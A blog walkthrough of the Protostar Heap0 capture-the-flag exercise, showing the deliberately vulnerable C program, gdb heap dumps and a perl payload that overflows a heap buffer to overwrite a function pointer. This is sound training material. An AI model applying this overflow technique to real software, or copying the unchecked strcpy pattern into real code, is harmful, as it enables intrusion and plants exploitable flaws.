Protostar exploits Heap0

Introduction

Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at https://exploit-exercises.com/protostar/

Challenge

Test run

user@protostar:~$ /opt/protostar/bin/heap0 test
data is at 0x804a008, fp is at 0x804a050
level has not been passed

Exploit

Need to redirect program execution flow.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
 char name[64];
};

struct fp {
 int (*fp)();
};

void winner()
{
 printf("level passed\n");
}

void nowinner()
{
 printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
 struct data *d;
 struct fp *f;

 d = malloc(sizeof(struct data));
 f = malloc(sizeof(struct fp));
 f->fp = nowinner;

 printf("data is at %p, fp is at %p\n", d, f);

 strcpy(d->name, argv[1]);
 
 f->fp();

}

Looks like we need to redirect program execution flow away from nowinner() to winner() function.

The vulnerable line is strcpy() which does not check if the source string (argv[1]) is smaller than the destination string (d->name). f is of type struct fp is essentially a function pointer to nowinner() and is created on the heap through malloc(). d is also located on the heap and created before f. If we overflow the heap where d is located we should be able to overwite f’s function pointer to winner().

Let’s find the memory location for the winner() function.

Again we will use objdump -t option to disassemble the program and look for reference to the ‘winner()’ function and it’s memory location.

user@protostar:~$ objdump -d /opt/protostar/bin/heap0 | grep winner
08048464 <winner>:
08048478 <nowinner>:

There we have it, winner() should be located at memory address 0x08048464.

Let’s debug the program to help visualize the heap and it’s structure.

I’m going to full d->name with 64 bytes, the full amount allocated.

(gdb) c
Continuing.
data is at 0x804a008, fp is at 0x804a050
Breakpoint 4, 0x080484f2 in main (argc=2, argv=0xbffff834) at heap0/heap0.c:36

36 in heap0/heap0.c
(gdb) x /80xb 0x0804a050-76
0x804a004: 0x49 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a00c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a014: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a01c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a024: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a02c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a034: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a03c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a044: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a04c: 0x11 0x00 0x00 0x00 0x78 0x84 0x04 0x08

This is what the heap looks like with out two objects d and f before printf().

This is after

(gdb) x /88xb 0x0804a050-80
0x804a000: 0x00 0x00 0x00 0x00 0x49 0x00 0x00 0x00
0x804a008: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a020: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a028: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a030: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a038: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a040: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a048: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a050: 0x78 0x84 0x04 0x08 0x00 0x00 0x00 0x00

I have highlighted each heap object.

As you can see there are an extra 8 bytes (heap chunk meta data) between the As and the function pointer.

Let’s now try to overflow the program and cause it to crash.

64 bytes of As to fill d->name

Addition 8 bytes of As to get us to the start of the function pointer.

4 bytes to overwrite function pointer of f->nowinner with pointer to winner() in reverse byte order. 0x64840408

user@protostar:~$ /opt/protostar/bin/heap0 $(perl -e 'print "A"x72 . "\x64\x84\x04\x08"')
data is at 0x804a008, fp is at 0x804a050
level passed

Thank you

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s